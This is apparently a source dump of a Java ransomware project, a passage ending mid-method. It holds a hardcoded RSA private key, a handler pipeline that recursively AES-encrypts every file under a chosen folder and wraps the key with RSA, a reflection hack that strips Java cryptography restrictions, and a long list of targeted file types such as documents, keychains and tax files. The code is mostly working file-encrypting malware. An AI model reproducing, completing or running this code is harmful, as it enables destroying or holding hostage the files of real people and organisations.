private static final String PrivateKey = "MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=";
public static void main(String[] args) throws RansomwareException, GeneralSecurityException {
// Set Whatever path you want to test
Path testPath = Paths.get("C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\src\\resources");
//Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource("/test.txt")).toURI());
PipelineData pipelineData = new PipelineData();
pipelineData.setPrivateKey(PrivateKey);
pipelineData.setPublicKey(PubicKey);
// Alternative Gen RSA. Make sure you save the keypair to a file if not loaded
// RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();
// pipelineData.setPrivateKey(keyPair.privateKey());
// pipelineData.setPublicKey(keyPair.publicKey());
pipelineData.setRootPath(testPath.toAbsolutePath().toString());
Pipeline encrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new GenSymmetricKeyHandler())
.addHandler(new RansomwareEncryptHandler())
.addHandler(new EncryptKeyHandler())
.addHandler(new DatabaseStoreHandler());
var encrypt_output = encrypt_filters.execute(pipelineData);
System.out.println("Pipeline encrypt_output: " + encrypt_output);
Pipeline decrypt_filters = new Pipeline(new DatabaseRetrieveHandler())
.addHandler(new DecryptKeyHandler())
.addHandler(new RansomwareDecryptHandler())
.addHandler(new DecryptKeyHandler());
var decrypt_output = decrypt_filters.execute(pipelineData);
System.out.println("Pipeline output: " + decrypt_output);
}
}
================================================
FILE: src/main/java/com/security/GenSymmetricKeyHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
public class GenSymmetricKeyHandler implements Handler {
@Override
@SneakyThrows
public PipelineData process(PipelineData input) {
if (input.getEncKeyCode() != null) {
return input;
}
input.setSecretKey(AESCipher.generateAndNotSaveKeyAsString());
return input;
}
}
================================================
FILE: src/main/java/com/security/Handler.java
================================================
package com.security;
interface Handler {
O process(I input);
}
================================================
FILE: src/main/java/com/security/Pipeline.java
================================================
package com.security;
public class Pipeline {
private final Handler currentHandler;
public Pipeline(Handler currentHandler) {
this.currentHandler = currentHandler;
}
public Pipeline addHandler(Handler newHandler) {
return new Pipeline<>(input -> newHandler.process(currentHandler.process(input)));
}
public O execute(I input) {
return currentHandler.process(input);
}
}
================================================
FILE: src/main/java/com/security/PipelineData.java
================================================
package com.security;
import lombok.Getter;
import lombok.Setter;
import java.util.Objects;
@Setter
@Getter
public class PipelineData {
private String rootPath;
private String encKeyCode;
private String secretKey;
private String publicKey;
private String privateKey;
public PipelineData() {
}
@Override
public boolean equals(Object o) {
if (o == null || getClass() != o.getClass()) return false;
PipelineData that = (PipelineData) o;
return Objects.equals(rootPath, that.rootPath) && Objects.equals(encKeyCode, that.encKeyCode) && Objects.equals(secretKey, that.secretKey) && Objects.equals(publicKey, that.publicKey) && Objects.equals(privateKey, that.privateKey);
}
@Override
public int hashCode() {
return Objects.hash(rootPath, encKeyCode, secretKey, publicKey, privateKey);
}
@Override
public String toString() {
return "PipelineData{" +
"rootPath='" + rootPath + '\'' +
", encKeyCode='" + encKeyCode + '\'' +
", secretKey=" + secretKey +
", publicKey='" + publicKey + '\'' +
", privateKey='" + privateKey + '\'' +
'}';
}
}
================================================
FILE: src/main/java/com/security/RSACipher.java
================================================
package com.security;
import org.bouncycastle.jce.provider.BouncyCastleProvider;
import javax.crypto.BadPaddingException;
import javax.crypto.Cipher;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;
import java.lang.reflect.Field;
import java.lang.reflect.Modifier;
import java.security.*;
import java.util.Base64;
import java.util.Map;
import java.util.Set;
public class RSACipher {
private static final String ALGORITHM = "RSA/ECB/PKCS1Padding";
private static final int KEY_SIZE = 256; // AES-256
private static final int IV_LENGTH = 12; // 12 bytes for GCM
private static final int TAG_LENGTH = 128; // 128-bit authentication tag
private static volatile RSACipher instance;
private static String prov;
private RSACipher() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {
// to prevent instantiating by Reflection call
if (instance != null) {
throw new IllegalStateException("Already initialized.");
}
Security.addProvider(new BouncyCastleProvider());
Init();
}
public static RSACipher getInstance() throws NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException {
var result = instance;
if (result == null) {
synchronized (RSACipher.class) {
result = instance;
if (result == null) {
result = new RSACipher();
instance = result;
}
}
}
return result;
}
private void Init() {
for (Provider provider : Security.getProviders()) {
//System.out.println("Provider: " + provider.getName());
Set services = provider.getServices();
for (Provider.Service service : services) {
if ("Cipher".equals(service.getType())) {
if (service.getAlgorithm().equals(ALGORITHM)) {
//System.out.println(" - " + service.getAlgorithm());
prov = provider.getName();
break;
}
}
}
}
}
public String encrypt(byte[] data, PublicKey publicKey) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, NoSuchProviderException, IllegalBlockSizeException, BadPaddingException {
Cipher cipher = Cipher.getInstance(ALGORITHM, "BC");
cipher.init(Cipher.ENCRYPT_MODE, publicKey);
return Base64.getEncoder().encodeToString(cipher.doFinal(data));
}
public String decrypt(String encrypted, PrivateKey privateKey) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException, NoSuchProviderException {
Cipher cipher = Cipher.getInstance(ALGORITHM, "BC");
cipher.init(Cipher.DECRYPT_MODE, privateKey);
byte[] data = Base64.getDecoder().decode(encrypted);
return new String(cipher.doFinal(data));
}
private static void removeCryptographyRestrictions() {
if (!isRestrictedCryptography()) {
System.out.println("Cryptography restrictions removal not needed");
return;
}
try {
final Class> jceSecurity = Class.forName("javax.crypto.JceSecurity");
final Class> cryptoPermissions = Class.forName("javax.crypto.CryptoPermissions");
final Class> cryptoAllPermission = Class.forName("javax.crypto.CryptoAllPermission");
final Field isRestrictedField = jceSecurity.getDeclaredField("isRestricted");
isRestrictedField.setAccessible(true);
final Field modifiersField = Field.class.getDeclaredField("modifiers");
modifiersField.setAccessible(true);
modifiersField.setInt(isRestrictedField, isRestrictedField.getModifiers() & ~Modifier.FINAL);
isRestrictedField.set(null, false);
final Field defaultPolicyField = jceSecurity.getDeclaredField("defaultPolicy");
defaultPolicyField.setAccessible(true);
final PermissionCollection defaultPolicy = (PermissionCollection) defaultPolicyField.get(null);
final Field perms = cryptoPermissions.getDeclaredField("perms");
perms.setAccessible(true);
((Map, ?>) perms.get(defaultPolicy)).clear();
final Field instance = cryptoAllPermission.getDeclaredField("INSTANCE");
instance.setAccessible(true);
defaultPolicy.add((Permission) instance.get(null));
System.out.println("Successfully removed cryptography restrictions");
} catch (final Exception e) {
System.out.println("Failed to remove cryptography restrictions" + e);
}
}
private static boolean isRestrictedCryptography() {
return "Java(TM) SE Runtime Environment".equals(System.getProperty("java.runtime.name"));
}
}
================================================
FILE: src/main/java/com/security/RSAGenKeyReader.java
================================================
package com.security;
import org.apache.commons.codec.binary.Base64;
import java.io.File;
import java.nio.file.Files;
import java.security.*;
import java.security.spec.PKCS8EncodedKeySpec;
import java.security.spec.X509EncodedKeySpec;
import java.util.Arrays;
public class RSAGenKeyReader {
private static final String Algorithm = "RSA";
public static StringKeyPair generateKeyPair() throws GeneralSecurityException {
KeyPairGenerator keyGen = KeyPairGenerator.getInstance("RSA");
keyGen.initialize(2048); // Key size (1024, 2048, 4096)
java.security.KeyPair keyPair = keyGen.generateKeyPair();
PublicKey publicKey = keyPair.getPublic();
PrivateKey privateKey = keyPair.getPrivate();
return new StringKeyPair(Base64.encodeBase64String(publicKey.getEncoded()), Base64.encodeBase64String(privateKey.getEncoded()));
}
public static PublicKey loadPublicKey(String stored) throws GeneralSecurityException {
byte[] data = Base64.decodeBase64(stored);
X509EncodedKeySpec spec = new X509EncodedKeySpec(data);
KeyFactory fact = KeyFactory.getInstance(Algorithm);
return fact.generatePublic(spec);
}
public static PrivateKey loadPrivateKey(String key64) throws GeneralSecurityException {
byte[] clear = Base64.decodeBase64(key64);
PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(clear);
KeyFactory fact = KeyFactory.getInstance(Algorithm);
PrivateKey priv = fact.generatePrivate(keySpec);
Arrays.fill(clear, (byte) 0);
return priv;
}
public static PrivateKey loadPrivateKey(File PrivFile) throws Exception {
byte[] keyBytes = Files.readAllBytes(PrivFile.toPath());
PKCS8EncodedKeySpec spec = new PKCS8EncodedKeySpec(keyBytes);
KeyFactory kf = KeyFactory.getInstance(Algorithm);
return kf.generatePrivate(spec);
}
public static PublicKey loadPublicKey(File PubFile) throws Exception {
byte[] keyBytes = Files.readAllBytes(PubFile.toPath());
X509EncodedKeySpec spec = new X509EncodedKeySpec(keyBytes);
KeyFactory kf = KeyFactory.getInstance(Algorithm);
return kf.generatePublic(spec);
}
public record StringKeyPair(String publicKey, String privateKey) {
}
}
================================================
FILE: src/main/java/com/security/RansomwareDecryptHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;
import javax.crypto.SecretKey;
import java.io.File;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Collection;
public class RansomwareDecryptHandler implements Handler {
private static final String SEARCH = "encryptedKeyDB";
@Override
@SneakyThrows
public PipelineData process(PipelineData input) {
Path rootPath = Paths.get(input.getRootPath());
Collection files = FileUtils.listFilesAndDirs(
rootPath.toFile(),
TrueFileFilter.INSTANCE,
TrueFileFilter.INSTANCE
);
SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());
files.parallelStream().forEach(file -> {
if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {
return;
}
if (file.isDirectory()) {
} else {
try {
AESCipher.decryptFile(file.getPath(), secretKey);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
});
return input;
}
}
================================================
FILE: src/main/java/com/security/RansomwareEncryptHandler.java
================================================
package com.security;
import lombok.SneakyThrows;
import org.apache.commons.io.FileUtils;
import org.apache.commons.io.filefilter.TrueFileFilter;
import javax.crypto.SecretKey;
import java.io.File;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.Collection;
public class RansomwareEncryptHandler implements Handler {
private static final String SEARCH = "encryptedKeyDB";
@Override
@SneakyThrows
public PipelineData process(PipelineData input) {
Path rootPath = Paths.get(input.getRootPath());
Collection files = FileUtils.listFilesAndDirs(
rootPath.toFile(),
TrueFileFilter.INSTANCE,
TrueFileFilter.INSTANCE
);
SecretKey secretKey = AESCipher.loadKey(input.getSecretKey());
files.parallelStream().forEach(file -> {
if (file.toPath().toAbsolutePath().toString().contains(SEARCH)) {
return;
}
if (file.isDirectory()) {
} else {
try {
AESCipher.encryptFile(file.getPath(), secretKey);
} catch (Exception e) {
throw new RuntimeException(e);
}
}
});
return input;
}
}
================================================
FILE: src/main/java/com/security/RansomwareException.java
================================================
package com.security;
public class RansomwareException extends Exception {
public RansomwareException(String message) {
super(message);
}
public RansomwareException(String message, Throwable throwable) {
super(message, throwable);
}
@Override
public String toString() {
return super.toString();
}
}
================================================
FILE: src/main/java/com/security/SearchDirectory.java
================================================
package com.security;
import org.apache.commons.io.FilenameUtils;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.TreeMap;
import java.util.stream.Stream;
public class SearchDirectory {
private static final String DOC = "doc";
private static final String DOCX = "docx";
private static final String LOG = "log";
private static final String MSG = "msg";
private static final String ODT = "odt";
private static final String PAGES = "pages";
private static final String RTF = "rtf";
private static final String TEX = "tex";
private static final String TXT = "txt";
private static final String WPD = "wpd";
private static final String WPS = "wps";
private static final String HWP = "hwp";
private static final String CSV = "csv";
private static final String DAT = "dat";
private static final String GBR = "gbr";
private static final String GED = "ged";
private static final String KEY = "key";
private static final String KEYCHAIN = "keychain";
private static final String PPS = "pps";
private static final String PPT = "ppt";
private static final String PPTX = "pptx";
private static final String SDF = "sdf";
private static final String TAR = "tar";
private static final String TAX2012 = "tax2012";
private static final String TAX2014 = "tax2014";
private static final String VCF = "vcf";
private static final String XML = "xml";
private static final String ALF = "alf";
private static final String IFF = "iff";
private static final String M3U = "m3u";
private static final String M4A = "m4a";
private static final String MID = "mid";
private static final String MP3 = "mp3";
private static final String MPA = "mpa";
private static final String RA = "ra";
private static final String WAV = "wav";
private static final String WMA = "wma";
// Video files
private static final String G32 = "3g2";
private static final String G3P = "3gp";
private static final String ASF = "asf";
private static final String ASX = "asx";
private static final String AVI = "avi";
private static final String FLV = "flv";
private static final String M4V = "m4v";
private static final String MOV = "mov";
private static final String MP4 = "mp4";
private static final String MPG = "mpg";
private static final String RM = "rm";
private static final String SRT = "srt";
private static final String SWF = "swf";
private static final String VOB = "vob";
private static final String WMV = "wmv";
// 3D image files
private static final String D3M = "3dm";
private static final String D3S = "3ds";
private static final String MAX = "max";
private static final String OBJ = "obj";
// Raster image files
private static final String BMP = "bmp";
private static final String DDA = "dda";
private static final String GIF = "gif";
private static final String JPG = "jpg";
private static final String PNG = "png";
private static final String PSD = "psd";
private static final String PSIMAGE = "pspimage";
private static final String TGA = "tga";
private static final String THM = "thm";
private static final String TIF = "tif";
private static final String TIFF = "tiff";
private static final String YUV = "yuv";
// Vector image files
private static final String AI = "ai";
private static final String EPS = "eps";
private static final String PS = "ps";
private static final String SVG = "svg";
// Page layout files
private static final String INDD = "indd";
private static final String PCT = "pct";
private static final String PDF = "pdf";
// Spreadsheet files
private static final String XLR = "xlr";
private static final String XLS = "xls";
private static final String XLSX = "xlsx";
// Compressed files
private static final String Z7 = "7z";
private static final String RAR = "rar";
private static final String ZIP = "zip";
private static final String TARGZ = "tar.gz";
// Executable files
private static final String APK = "apk";
private static final String APP = "app";
private static final String COM = "com";
private static final String EXE = "exe";
// Web files
private static final String ASP = "asp";
private static final String ASPX = "apsx";
private static final String CSS = "css";
private static final String HTM = "htm";
private static final String HTML = "html";
private static final String JS = "js";
private static final String JSP = "jsp";
private static final String PHP = "php";
private static final String XHTML = "xhtml";
// Font files
private static final String FNT = "fnt";
private static final String FONT = "font";
private static final String OFT = "oft";
private static final String TTF = "ttf";
// Mick files
private static final String CRDOWNLAOD = "crdownload";
private static final String ICS = "ics";
private static final String MSI = "msi";
private static final String PART = "part";
private static final String TORRENT = "torrent";
private final HashMap docMap;
private final HashMap docxMap;
private final HashMap logMap;
private final HashMap msgMap;
private final HashMap odtMap;
private final HashMap pagesMap;
private final HashMap rtfMap;
private final HashMap texMap;
private final HashMap txtMap;
private final HashMap wpdMap;
private final HashMap wpsMap;
private final HashMap hwpMap;
private final HashMap csvMap;
private final HashMap datMap;
private final HashMap gbrMap;
private final HashMap gedMap;
private final HashMap keyMap;
private final HashMap keychainMap;
private final HashMap ppsMap;
private final HashMap pptMap;
private final HashMap pptxMap;
private final HashMap sdfMap;
private final HashMap tarMap;
private final HashMap tax2012Map;
private final HashMap tax2014Map;
private final HashMap vcfMap;
private final HashMap xmlMap;
private final HashMap alfMap;
private final HashMap iffMap;
private final HashMap m3uMap;
private final HashMap m4aMap;
private final HashMap midMap;
private final HashMap mp3Map;
private final HashMap mpaMap;
private final HashMap raMap;
private final HashMap wavMap;
private final HashMap wmaMap;
private final HashMap g2Map;
private final HashMap gpMap;
private final HashMap asfMap;
private final HashMap asxMap;
private final HashMap aviMap;
private final HashMap flvlvMap;
private final HashMap m4vMap;
private final HashMap movMap;
private final HashMap mp4Map;
private final HashMap mpgMap;
private final HashMap rmMap;
private final HashMap srtMap;
private final HashMap swfMap;
private final HashMap vobMap;
private final HashMap wmvMap;
private final HashMap d3mMap;
private final HashMap d3sMap;
private final HashMap maxMap;
private final HashMap objMap;
private final HashMap bmpMap;
private final HashMap ddaMap;
private final HashMap gifMap;
private final HashMap jpgMap;
private final HashMap pngMap;
private final HashMap psdMap;
private final HashMap pspimageMap;
private final HashMap tgaMap;
private final HashMap thmMap;
private final HashMap tifMap;
private final HashMap tiffMap;
private final HashMap yuvMap;
private final HashMap aiMap;
private final HashMap epsMap;
private final HashMap psMap;
private final HashMap svgMap;
private final HashMap inddMap;
private final HashMap pctMap;
private final HashMap pdfMap;
private final HashMap xlrMap;
private final HashMap xlsMap;
private final HashMap xlsxMap;
private final HashMap z7Map;
private final HashMap rarMap;
private final HashMap zipMap;
private final HashMap targzMap;
private final HashMap apkMap;
private final HashMap appMap;
private final HashMap comMap;
private final HashMap exeMap;
private final HashMap aspMap;
private final HashMap aspxMap;
private final HashMap cssMap;
private final HashMap htmMap;
private final HashMap htmlMap;
private final HashMap jsMap;
private final HashMap jspMap;
private final HashMap phpMap;
private final HashMap xhtmlMap;
private final HashMap fntMap;
private final HashMap fontMap;
private final HashMap oftMap;
private final HashMap ttfMap;
private final HashMap crdownloadMap;
private final HashMap icsMap;
private final HashMap msiMap;
private final HashMap partMap;
private final HashMap torrentMap;
private final TreeMap> containsFilters;
private String PathtoFind;
public SearchDirectory(String PathtoFind) {
this.docMap = new HashMap();
this.docxMap = new HashMap();
this.logMap = new HashMap();
this.msgMap = new HashMap();
this.odtMap = new HashMap();
this.pagesMap = new HashMap();
this.rtfMap = new HashMap();
this.texMap = new HashMap();
this.txtMap = new HashMap();
this.wpdMap = new HashMap();
this.wpsMap = new HashMap();
this.hwpMap = new HashMap();
this.csvMap = new HashMap();
this.datMap = new HashMap();
this.gbrMap = new HashMap();
this.gedMap = new HashMap();
this.keyMap = new HashMap();
this.keychainMap = new HashMap();
this.ppsMap = new HashMap();
this.pptMap = new HashMap();
this.pptxMap = new HashMap();
this.sdfMap = new HashMap();
this.tarMap = new HashMap();
this.tax2012Map = new HashMap();
this.tax2014Map = new HashMap();
this.vcfMap = new HashMap();
this.xmlMap = new HashMap();
this.alfMap = new HashMap();
this.iffMap = new HashMap();
this.m3uMap = new HashMap();
this.m4aMap = new HashMap();
this.midMap = new HashMap();
this.mp3Map = new HashMap();
this.mpaMap = new HashMap();
this.raMap = new HashMap();
this.wavMap = new HashMap();
this.wmaMap = new HashMap();
this.g2Map = new HashMap();
this.gpMap = new HashMap();
this.asfMap = new HashMap();
this.asxMap = new HashMap();
this.aviMap = new HashMap();
this.flvlvMap = new HashMap();
this.m4vMap = new HashMap();
this.movMap = new HashMap();
this.mp4Map = new HashMap();
this.mpgMap = new HashMap();
this.rmMap = new HashMap();
this.srtMap = new HashMap();
this.swfMap = new HashMap();
this.vobMap = new HashMap();
this.wmvMap = new HashMap();
this.d3mMap = new HashMap();
this.d3sMap = new HashMap();
this.maxMap = new HashMap();
this.objMap = new HashMap();
this.bmpMap = new HashMap();
this.ddaMap = new HashMap();
this.gifMap = new HashMap();
this.jpgMap = new HashMap();
this.pngMap = new HashMap();
this.psdMap = new HashMap();
this.pspimageMap = new HashMap();
this.tgaMap = new HashMap();
this.thmMap = new HashMap();
this.tifMap = new HashMap();
this.tiffMap = new HashMap();
this.yuvMap = new HashMap();
this.aiMap = new HashMap();
this.epsMap = new HashMap();
this.psMap = new HashMap();
this.svgMap = new HashMap();
this.inddMap = new HashMap();
this.pctMap = new HashMap();
this.pdfMap = new HashMap();
this.xlrMap = new HashMap();
this.xlsMap = new HashMap();
this.xlsxMap = new HashMap();
this.z7Map = new HashMap();
this.rarMap = new HashMap();
this.zipMap = new HashMap();
this.targzMap = new HashMap();
this.apkMap = new HashMap();
this.appMap = new HashMap();
this.comMap = new HashMap();
this.exeMap = new HashMap();
this.aspMap = new HashMap();
this.aspxMap = new HashMap();
this.cssMap = new HashMap();
this.htmMap = new HashMap();
this.htmlMap = new HashMap();
this.jsMap = new HashMap();
this.jspMap = new HashMap();
this.phpMap = new HashMap();
this.xhtmlMap = new HashMap();
this.fntMap = new HashMap();
this.fontMap = new HashMap();
this.oftMap = new HashMap();
this.ttfMap = new HashMap();
this.crdownloadMap = new HashMap();
this.icsMap = new HashMap();
this.msiMap = new HashMap();
this.partMap = new HashMap();
this.torrentMap = new HashMap();
this.containsFilters = new TreeMap>();
this.PathtoFind = PathtoFind;
this.AddContainFilter();
this.SavAllFilters();
}
private void AddContainFilter() {
containsFilters.put(DOC, docMap);
containsFilters.put(DOCX, docxMap);
containsFilters.put(LOG, logMap);
containsFilters.put(MSG, msgMap);
containsFilters.put(ODT, odtMap);
containsFilters.put(PAGES, pagesMap);
containsFilters.put(RTF, rtfMap);
containsFilters.put(TEX, texMap);
containsFilters.put(TXT, txtMap);
containsFilters.put(WPD, wpdMap);
containsFilters.put(WPS, wpsMap);
containsFilters.put(HWP, hwpMap);
// Data files
containsFilters.put(CSV, csvMap);
containsFilters.put(DAT, datMap);
containsFilters.put(GBR, gbrMap);
containsFilters.put(GED, gedMap);
containsFilters.put(KEY, keyMap);
containsFilters.put(KEYCHAIN, keychainMap);
containsFilters.put(PPS, ppsMap);
containsFilters.put(PPT, pptMap);
containsFilters.put(PPTX, pptxMap);
containsFilters.put(SDF, sdfMap);
containsFilters.put(TAR, tarMap);
containsFilters.put(TAX2012, tax2012Map);
containsFilters.put(TAX2014, tax2014Map);
containsFilters.put(VCF, vcfMap);
containsFilters.put(XML, xmlMap);
// Audio files
containsFilters.put(ALF, alfMap);
containsFilters.put(IFF, iffMap);
containsFilters.put(M3U, m3uMap);
containsFilters.put(M4A, m4aMap);
containsFilters.put(MID, midMap);
containsFilters.put(MP3, mp3Map);
containsFilters.put(MPA, mpaMap);
containsFilters.put(RA, raMap);
containsFilters.put(WAV, wavMap);
containsFilters.put(WMA, wmaMap);
// Video files
containsFilters.put(G32, g2Map);
containsFilters.put(G3P, gpMap);
containsFilters.put(ASF, asfMap);
containsFilters.put(ASX, asxMap);
containsFilters.put(AVI, aviMap);
containsFilters.put(FLV, flvlvMap);
containsFilters.put(M4A, m4vMap);
containsFilters.put(MOV, movMap);
containsFilters.put(MP4, mp4Map);
containsFilters.put(MPG, mpgMap);
containsFilters.put(RM, rmMap);
containsFilters.put(SRT, srtMap);
containsFilters.put(SWF, swfMap);
containsFilters.put(VOB, vobMap);
containsFilters.put(WMV, wmvMap);
// 3D image files
containsFilters.put(D3M, d3mMap);
containsFilters.put(D3S, d3sMap);
containsFilters.put(MAX, maxMap);
containsFilters.put(OBJ, objMap);
// Raster image files
containsFilters.put(BMP, bmpMap);
containsFilters.put(DDA, ddaMap);
containsFilters.put(GIF, gifMap);
containsFilters.put(JPG, jpgMap);
containsFilters.put(PNG, pngMap);
containsFilters.put(PSD, psdMap);
containsFilters.put(PSIMAGE, pspimageMap);
containsFilters.put(TGA, tgaMap);
containsFilters.put(THM, thmMap);
containsFilters.put(TIF, tifMap);
containsFilters.put(TIFF, tiffMap);
containsFilters.put(YUV, yuvMap);
// Vector image files
containsFilters.put(AI, aiMap);
containsFilters.put(EPS, epsMap);
containsFilters.put(PS, psMap);
containsFilters.put(SVG, svgMap);
// Page layout files
containsFilters.put(INDD, inddMap);
containsFilters.put(PCT, pctMap);
containsFilters.put(PDF, pdfMap);
// Spreadsheet files
containsFilters.put(XLR, xlrMap);
containsFilters.put(XLS, xlsMap);
containsFilters.put(XLSX, xlsxMap);
// Compressed files
containsFilters.put(Z7, z7Map);
containsFilters.put(RAR, rarMap);
containsFilters.put(ZIP, zipMap);
containsFilters.put(TARGZ, targzMap);
// Executable files
containsFilters.put(APK, apkMap);
containsFilters.put(APP, appMap);
containsFilters.put(COM, comMap);
containsFilters.put(EXE, exeMap);
// Web files
containsFilters.put(ASP, aspMap);
containsFilters.put(ASPX, aspxMap);
containsFilters.put(CSS, cssMap);
containsFilters.put(HTM, htmMap);
containsFilters.put(HTML, htmlMap);
containsFilters.put(JS, jsMap);
containsFilters.put(JSP, jspMap);
containsFilters.put(PHP, phpMap);
containsFilters.put(XHTML, xhtmlMap);
// Font files
containsFilters.put(FNT, fntMap);
containsFilters.put(FONT, fontMap);
containsFilters.put(OFT, oftMap);
containsFilters.put(TTF, ttfMap);
// Mick files
containsFilters.put(CRDOWNLAOD, crdownloadMap);
containsFilters.put(ICS, icsMap);
containsFilters.put(MSI, msiMap);
containsFilters.put(PART, partMap);
containsFilters.put(TORRENT, torrentMap);
}
private void SavAllFilters() {
try (Stream paths = Files.walk(Paths.get(PathtoFind))) {
paths.forEach(filePath -> {
if (Files.isRegularFile(filePath)) {
System.out.println(filePath);
String extendsion = FilenameUtils.getExtension(filePath.toString());
String FilePath = FilenameUtils.removeExtension(filePath.toString());
SaveToMap(extendsion, FilePath);
}
});
} catch (IOException e) {
e.printStackTrace();
}
}
private void SaveToMap(String extension, String FilePath) {
switch (extension) {
case DOC:
docMap.put(FilePath, extension);
break;
case DOCX:
docxMap.put(FilePath, extension);
break;
case LOG:
logMap.put(FilePath, extension);
break;
case MSG:
msgMap.put(FilePath, extension);
break;
case ODT:
odtMap.put(FilePath, extension);
break;
case PAGES:
pagesMap.put(FilePath, extension);
break;
case RTF:
rtfMap.put(FilePath, extension);
break;
case TEX:
texMap.put(FilePath, extension);
break;
case TXT:
txtMap.put(FilePath, extension);
break;
case WPD:
wpdMap.put(FilePath, extension);
break;
case WPS:
wpsMap.put(FilePath, extension);
break;
case HWP:
hwpMap.put(FilePath, extension);
break;
case CSV:
csvMap.put(FilePath, extension);
break;
case DAT:
datMap.put(FilePath, extension);
break;
case GBR:
gbrMap.put(FilePath, extension);
break;
case GED:
gedMap.put(FilePath, extension);
break;
case KEY:
keyMap.put(FilePath, extension);
break;
case KEYCHAIN:
keychainMap.put(FilePath, extension);
break;
case PPS:
ppsMap.put(FilePath, extension);
break;
case PPT:
pptMap.put(FilePath, extension);
break;
case PPTX:
pptxMap.put(FilePath, extension);
break;
case SDF:
sdfMap.put(FilePath, extension);
break;
case TAR:
tarMap.put(FilePath, extension);
break;
case TAX2012:
tax2012Map.put(FilePath, extension);
break;
case TAX2014:
tax2014Map.put(FilePath, extension);
break;
case VCF:
vcfMap.put(FilePath, extension);
break;
case XML:
xmlMap.put(FilePath, extension);
break;
case ALF:
alfMap.put(FilePath, extension);
break;
case IFF:
iffMap.put(FilePath, extension);
break;
case M3U:
m3uMap.put(FilePath, extension);
break;
case M4A:
m4aMap.put(FilePath, extension);
break;
case MID:
midMap.put(FilePath, extension);
break;
case MP3:
mp3Map.put(FilePath, extension);
break;
case MPA:
mpaMap.put(FilePath, extension);
break;
case RA:
raMap.put(FilePath, extension);
break;
case WAV:
wavMap.put(FilePath, extension);
break;
case WMA:
wmaMap.put(FilePath, extension);
break;
case G32:
g2Map.put(FilePath, extension);
break;
case G3P:
gpMap.put(FilePath, extension);
break;
case ASF:
asfMap.put(FilePath, extension);
break;
case ASX:
asxMap.put(FilePath, extension);
break;
case AVI:
aviMap.put(FilePath, extension);
break;
case FLV:
flvlvMap.put(FilePath, extension);
break;
case M4V:
m4vMap.put(FilePath, extension);
break;
case MOV:
movMap.put(FilePath, extension);
break;
case MP4:
mp4Map.put(FilePath, extension);
break;
case MPG:
mpgMap.put(FilePath, extension);
break;
case RM:
rmMap.put(FilePath, extension);
break;
case SRT:
srtMap.put(FilePath, extension);
break;
case SWF:
swfMap.put(FilePath, extension);
break;
case VOB:
vobMap.put(FilePath, extension);
break;
case WMV:
wmvMap.put(FilePath, extension);
break;
case D3M:
d3mMap.put(FilePath, extension);
break;
case D3S:
d3sMap.put(FilePath, extension);
break;
case MAX:
maxMap.put(FilePath, extension);
break;
case OBJ:
objMap.put(FilePath, extension);
break;
case BMP:
bmpMap.put(FilePath, extension);
break;
case DDA:
ddaMap.put(FilePath, extension);
break;
case GIF:
gifMap.put(FilePath, extension);
break;
case JPG:
jpgMap.put(FilePath, extension);
break;
case PNG:
pngMap.put(FilePath, extension);
break;
case PSD:
psdMap.put(FilePath, extension);
break;
case PSIMAGE:
psdMap.put(FilePath, extension);
break;
case TGA:
tgaMap.put(FilePath, extension);
break;
case THM:
thmMap.put(FilePath, extension);
break;
case TIF:
tifMap.put(FilePath, extension);
break;
case TIFF:
tiffMap.put(FilePath, extension);
break;
case YUV:
yuvMap.put(FilePath, extension);
break;
case AI:
aiMap.put(FilePath, extension);
break;
case EPS:
epsMap.put(FilePath, extension);
break;
case PS:
psMap.put(FilePath, extension);
break;
case SVG:
svgMap.put(FilePath, extension);
break;
case INDD:
inddMap.put(FilePath, extension);
break;
case PCT:
pctMap.put(FilePath, extension);
break;
case PDF:
pdfMap.put(FilePath, extension);
break;
case XLR:
xlrMap.put(FilePath, extension);
break;
case XLS:
xlsMap.put(FilePath, extension);
break;
case XLSX:
xlsxMap.put(FilePath, extension);
break;
case Z7:
z7Map.put(FilePath, extension);
break;
case RAR:
rarMap.put(FilePath, extension);
break;
case ZIP:
zipMap.put(FilePath, extension);
break;
case TARGZ:
targzMap.put(FilePath, extension);
break;
case APK:
apkMap.put(FilePath, extension);
break;
case APP:
appMap.put(FilePath, extension);
break;
case COM:
comMap.put(FilePath, extension);
break;
case EXE:
exeMap.put(FilePath, extension);
break;
case ASP:
aspMap.put(FilePath, extension);
break;
case ASPX:
aspxMap.put(FilePath, extension);
break;
case CSS:
cssMap.put(FilePath, extension);
break;
case HTM:
htmMap.put(FilePath, extension);
break;
case HTML:
htmlMap.put(FilePath, extension);
break;
